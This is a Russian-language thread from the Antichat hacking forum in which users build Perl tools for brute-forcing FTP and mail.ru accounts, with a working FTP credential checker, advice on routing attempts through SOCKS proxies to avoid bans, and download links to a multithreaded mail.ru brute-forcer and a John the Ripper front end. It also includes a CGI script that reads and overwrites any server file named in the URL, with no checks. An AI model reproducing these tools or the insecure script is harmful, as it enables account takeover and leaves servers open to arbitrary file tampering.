ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   PHP (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   perl script (https://forum.antichat.xyz/showthread.php?t=21986)

0xff 25.11.2006 21:30

геном помоги написать брутер для ФТП ... такой же как для мыла у тебя... единственное что у меня не получаеться так это что бы все запросы ходили через прокси сервер... ну Или соксы ....
ну и что бы рутинная работа выполнялась сама . такие как составления списка пользователей сервера на катором запускаеться скрипт.. ну если будет желание то моЖно попроБывать пассы считывать с удаленного сервера .. или что бы они сами грузили в процессе запуска. :) там первый прошел грузим второй ... загрузили второй начали Брут ... проБрутил ...удалил, грзуим другой и так пока не кончиться ... удобный инструмент получиться :) .... я думаю тебе по плечу такие ззадачи ... если не сможешь или не захочешь тогда отпиШись я не обиЖусь...

KSURi 25.11.2006 23:31

так епт, это 20 строк кода...

genom-- 26.11.2006 20:47

нехочу изобретать колесо --- поищи недано была тема про ftp брутер -- там был скрипт и там я еще дал линк на гуи брут

тут http://forum.antichat.ru/thread27914.html

genom-- 27.11.2006 00:49

чекер ftp -- frb хранятся в файле в виде
1:login1:pass1
2:login:pass2

код -->

#!usr/bin/perl

use Net::FTP;

$ftp = Net::FTP->new("genom.h10.ru", );

open file,'<ftp.txt'; # файл в котром хранятся твои акаунты к ftp
open goodd,'>good.txt';
while($lol=<file>)
{
$lol=~s/\n//;
($cifra,$llogin,$pass)=split(/:/,$lol); # разбираем

$ftp -> login($llogin,$pass) or goto(dava);
print goodd "$lol\n";
dava:
}

close(goodd);close(file);

0xff 27.11.2006 03:15

да лано тогда...раз некогда и время тратить не хотите ... тогда вопрос другой ... помогите разобраться хатябы с проксеГом ... непойму как мне эти все запросы через прокси транслировать ... непойму .. помоГите ...примерный код как и что долЖно ыбть можете поДкинуть... ?

KSURi 27.11.2006 13:32

perl -MCPAN -e "install Net::Socks"
perldoc Net::Socks

genom-- 29.11.2006 21:04

пытался заделать через lwp он тоже конектится к ftp может

my $req = HTTP::Request->new(GET => "ftp://$login:$password@$host:/");

вообщем на такой зыпрос выдает bad hostname

в доках модуля у них вот так написано
$req = HTTP::Request->new(GET => 'ftp://me:пароль@ftp.some.where.com/');

хз -- уже замучался --- советуйте

KSURi 30.11.2006 00:41

попробуй protocols_allowed модифицировать в объекте

0xff 02.12.2006 21:09

нашел сегодня пример с соксами но для бта irc-шного.

use Net::SOCKS;
$server="80.252.130.250"; # IRC сервер
$port="6667"; # IRC порт
$socks="192.168.1.2"; # socks сервер
$pport="1080"; # socks порт

my $sock = Net::SOCKS->new(socks_addr => $socks,
socks_port => $pport,
user_id => 'the_user',
user_password => 'the_password',
force_nonanonymous => 1,
protocol_version => 5);
my $f= $sock->connect(peer_addr => $server, peer_port => $port);
.......
.....
$sock->close();
---------------------------------------------------------------------

можно и с соксами забабхать ...
но и с проксей тож интересно будет посатреть.
счас сяду кодить . незнаю что получиться но думаю должно получиться вродь руки растут от туда же откуда и у всех :)!

genom-- 03.12.2006 00:07

не факт что с сокса будет конект к фтп -- хотя должен быть-- тока как передавать данные это вопрос

genom-- 17.12.2006 01:51

вот писал cgi скрипт для редактирования файлов на серваке -- получилось прикольно решил выложить --- вообщем в форме указываем имя файла и засылаем его с помощью get -- пример формы (вставлять в любой html файл =) )

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~<br>
Редактировать файл:
<form method="get" action="edit.cgi" ><input type="text" name="file" value="index.html" size="50"><br>
<input type="submit" value="Редактировать"> </form>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~<br>



вот код самого скрипта -- получилось приколно -- что если вы указали имя файла которого нет -- то выдает пустой контент -- и если ввести данные и нажать сохранить то создастся новый файл -- таким образом решается и проблема загрузки текстовых файлов на сервер -- мона новый создать и туда вставить =)

вот код самого скрипта


#!/usr/bin/perl

use CGI;

print "Content-type: text/html\n\n<b><body text=\"darkgreen\" bgcolor=\"#000000\" link=\"green\"alink=\"green\" vlink=\"green\"><br><br>";


read(STDIN, $data, $ENV{'CONTENT_LENGTH'});
$buf=$ENV{'QUERY_STRING'};

if (length($data)==0){
$buf=~s/file=//eg;
print"<center>Редактирование файла-->$buf<br><br></center>";open fyll,"$buf";
@sors=<fyll>;close(fyll);
print"<center><form method=\"post\" action=\"\"><textarea class=\"input\" id=text cols=70 rows=12 name=\"newsors\" >@sors</textarea><br><br><input type=\"submit\" value=\"....Сохранить....\" ></form><center><br><br><br><br><br><br>если в окне содержания нет текста то либо этот файл пустой либо его не существует -- нажатие кнопки сохранить приведет к созданию нового файла";}
else{$data=~tr/+/ /;
$data=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$data=~s/newsors=//eg;
$buf=~s/file=//eg;
open fyll,">$buf";
print fyll "$data";
close(fyll);
print'<br><br>Изменения сохранены успешно<br><br><a href="index.html">Назад</a>';
}

KSURi 17.12.2006 03:03

Код:

...[a-f0-9]{2}/pack('C', hex($1))/ieg;
И зачем тут нужно use CGI ?

genom-- 17.12.2006 13:43

потомучто это cgi скрипт в веб интерфейсом

KSURi 17.12.2006 15:58

Цитата:

Сообщение от genom--
потомучто это cgi скрипт в веб интерфейсом

Но ты не юзаешь никакие функции модуля => он те не нужен. С cgi можно спокойно работать и без этого модуля.

genom-- 17.12.2006 20:56

по приколу попробовал убрать да --почти все пашет -- но ввозникает бага при сохранениия файла -- ну да х с ней -- одна строчка роли не сыграет

genom-- 16.01.2007 20:30

последний релиз новая версия брутера для mail.ru -- добавил многопоточность --скорость брута возросла =)

скачать тут http://www.genom.h10.ru/1111.rar

0xff 29.01.2007 03:54

проксеги Юзает ?
При всей его многопоточности майл просто банит хост после несколькиз неудачных попыток ...

genom-- 30.01.2007 02:21

фига ты попробуй потом говори кто и что банит

~GroM~ 30.01.2007 09:54

работае там на все 100 и не надо говорить что банит. Ламье

genom-- 07.02.2007 20:06

сазу оговорюсь --- писал лично для себя так что свои претензии можете оставить себе =)

вообщем вот архивчик я там накропал gui интерфейс для john the riper -- а то иногда запаривает набивать в консоли + кинул доку для нубов что вообще надо набирать в той самой консоли --- у меня джон был под винду такчто имя его в скрипте john-386.exe если будете юзать под unix то поменяйте имя или ексешки или подправьте скрипт

всем удачи

http://www.genom.h10.ru/john.rar


Время: 22:46